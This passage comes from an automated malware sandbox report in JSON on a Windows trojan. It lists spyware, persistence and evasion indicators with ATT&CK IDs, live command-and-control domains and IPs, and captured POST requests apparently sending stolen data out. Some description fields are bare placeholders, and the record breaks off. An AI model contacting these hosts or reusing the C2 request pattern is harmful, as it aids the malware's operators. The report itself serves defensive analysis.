ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"file/memory contains long string with (Indicator: \"password\"; Source: \"00000000-00006900.00000001.70800.03400000.00000004.mdmp, 00000000-00006900.00000002.72721.05A78000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00006900.00000000.68879.03400000.00000004.mdmp, 00000000-00006900.00000001.70800.03400000.00000004.mdmp, 00000000-00006900.00000002.72721.03400000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"System Security","name":"Contains ability to bypass UAC using COM object (API string)","description":"Found reference to API \"CoGetObject\" (Indicator: \"CoGetObject\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"CoGetObject\" (Indicator: \"CoGetObject\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548.002","relevance":1,"id":"string-239","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"$50","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$51","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\".exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$53","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$54","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00006900.00000000.68879.05980000.00000004.mdmp, 00000000-00006900.00000001.70800.05980000.00000004.mdmp, 00000000-00006900.00000002.72721.05980000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"Login Data111\" - Location: [%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data111]- [targetUID: 00000000-00006900]\n Dropped file: \"ba6adc77bd6cd755b7b3704fedfbb6a0\" - Location: [%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Network\\ba6adc77bd6cd755b7b3704fedfbb6a0]- [targetUID: 00000000-00006900]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"\"imagd_1_.jpg\" has type \"JPEG image data JFIF standard 1.01 aspect ratio density 1x1 segment length 16 baseline precision 8 1080x1440 components 3\" and extension \"jpg\"","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".rsrc with unusual entropies 7.21582186192","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle","description":"GetModuleHandleW@KERNEL32.dll at 13923-1044-0000000100016C10\n GetModuleHandleW@KERNEL32.dll at 13923-1375-000000010001E224\n GetModuleHandleW@KERNEL32.dll at 13923-1350-000000010002513C\n GetModuleHandleW@KERNEL32.dll at 13923-999-0000000100015FCB","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the specified system metric or system configuration setting","description":"GetSystemMetrics@USER32.dll at 13923-1162-000000010001DD9C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-122","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"16/89 reputation engines marked \"http://app.nnnaajjjgc.com\" as malicious (17% detection rate)\n 10/90 reputation engines marked \"http://z.nnnaajjjgc.com\" as malicious (11% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"11/70 Antivirus vendors marked sample as malicious (15% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$57","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.17\"\n \"2.5.29.14\"\n \"2.5.29.15\"\n \"2.5.29.32\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.31\"\n \"2.5.29.19\"\n \"2.5.29.1\"\n \"2.5.4.3\"\n \"2.5.29.10\"\n \"2.5.29.16\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 156.236.72.121 on port 443 is sent without HTTP header\n TCP traffic to 154.221.26.108 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - Crypto Library","description":"YARA signature for detecting crypto library used in process \"00000000-00006900\"\n YARA signature for detecting crypto library used in file \"imagd_1_.jpg\"","origin":"YARA Signature","mitre_attack_id":"T1560.002","relevance":5,"id":"yara-125","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\".exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to decrypt the data","description":"$58","origin":"API Call","mitre_attack_id":"T1027","relevance":5,"id":"api-172","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate processes/modules/threads","description":"K32EnumProcesses@KERNEL32.dll at 13923-940-0000000100013A98\n K32EnumProcesses@KERNEL32.dll at 13923-943-0000000100066F40","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":5,"id":"stream-20","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"\".skype.com1&0\" (Indicator: \"skype.com\")\n \"community-stage.skype.com1\" (Indicator: \"skype.com\")","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\".exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\4EKOOWYY\\imagd[1].jpg\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\".exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\4EKOOWYY\\imagd[1].jpg\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\".exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\" claimed CRC 667849 while the actual is CRC 660819","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegCreateKeyExW\n RegCloseKey\n RegDeleteKeyW\n SetSecurityDescriptorDacl\n OpenProcessToken\n RegOpenKeyExW\n RegEnumKeyExW\n GetFileAttributesW\n GetTempPathW\n OutputDebugStringA\n GetModuleFileNameW\n UnhandledExceptionFilter\n CreateThread\n GetSystemDirectoryW\n TerminateProcess\n LoadLibraryW\n GetVersionExW\n GetTickCount\n VirtualProtect\n GetVersionExA\n OpenProcess\n GetStartupInfoW\n CreateDirectoryW\n DeleteFileW\n GetProcAddress\n FindNextFileW\n FindFirstFileW\n CreateFileW\n GetNativeSystemInfo\n GetSystemInfo\n CreateProcessW\n GetCommandLineW\n GetTickCount64\n GetModuleHandleW\n GetFileAttributesExW\n WriteFile\n Sleep\n VirtualAlloc\n ShellExecuteExW\n FindWindowW","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$59","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"malicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET MALWARE Win32/Fabookie.ek CnC Request M4 (GET)\" (SID: 2045057, Rev: 1, Severity: 1) categorized as \"A Network Trojan was detected\" (PUA/PUP/Adware)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"11/70 Antivirus vendors marked sample as malicious (15% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"malicious","category":"Installation/Persistence","name":"Found an indicator for a scheduled task trigger","description":"Found string \"BootTrigger\" (Indicator: \"BootTrigger\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found string \"BootTrigger\" (Indicator: \"BootTrigger\"; Source: \"00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1053","relevance":5,"id":"string-32","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$5a","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]}],"incidents":[{"name":"Spyware","details_count":3,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Marks file for deletion"},{"detail":"Contains ability to terminate a process"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":8,"imported_dlls_count":67,"dropped_files_count":0,"extracted_files_count":3,"files_written_count":7,"files_deleted_count":0,"registry_keys_created_count":4,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":4,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":150,"http_requests_count":150},"behavior_tags":["botnet","expiro","neshta","parite","poisonivy","rat","virut"],"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"64fa01a0e2c493983d0a6cc9","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Win64.Gen","contacted_countries":["SYC"],"submit_name":"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57","analysis_start_time":"2023-09-07T17:00:17+00:00","indicators_count":{"informative":146,"suspicious":39,"malicious":5},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"156.236.72.121","port":443,"protocol":"TCP","country":"Seychelles","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"address":"154.221.26.108","port":80,"protocol":"TCP","country":"Seychelles","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]}],"dns_resolutions":[{"domain":"app.nnnaajjjgc.com","address":"154.221.26.108","ttl":600,"country":"Seychelles","registrar_name":"Xin Net Technology Corporation","registrar_name_servers":"NS11.XINCACHE.COM","registrar_creation_date":"2023-06-28T07:30:32+00:00","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"domain":"z.nnnaajjjgc.com","address":"156.236.72.121","ttl":600,"country":"Seychelles","registrar_name":"Xin Net Technology Corporation","registrar_name_servers":"NS11.XINCACHE.COM","registrar_creation_date":"2023-06-28T07:30:32+00:00","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]}],"http_requests":[{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/safe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /check/safe HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=6798&key=2945547785540bbe6dd80fa5ddeae823","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=6798&key=2945547785540bbe6dd80fa5ddeae823 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=6800&key=09c69ca9876a2fea44b9b3f677f028b3","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=6800&key=09c69ca9876a2fea44b9b3f677f028b3 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=6802&key=9d600d3320e92fb9b0d5cf2b4b137899","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=6802&key=9d600d3320e92fb9b0d5cf2b4b137899 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=6804&key=864d8f8c056e0d6480708241e6c474db","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=6804&key=864d8f8c056e0d6480708241e6c474db HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=6806&key=0a0310dec21f9289602cd63dddecae9a","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=6806&key=0a0310dec21f9289602cd63dddecae9a HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=6808&key=37d6f3658bb0dcfce18d9e0000c3ab81","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=6808&key=37d6f3658bb0dcfce18d9e0000c3ab81 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=6810&key=a8c4b2352c4addc278c4ba3d7629e1d9","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=6810&key=a8c4b2352c4addc278c4ba3d7629e1d9 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=6812&key=82cfa653127d8a1303156eede82397fe","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=6812&key=82cfa653127d8a1303156eede82397fe HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\nContent-Length: 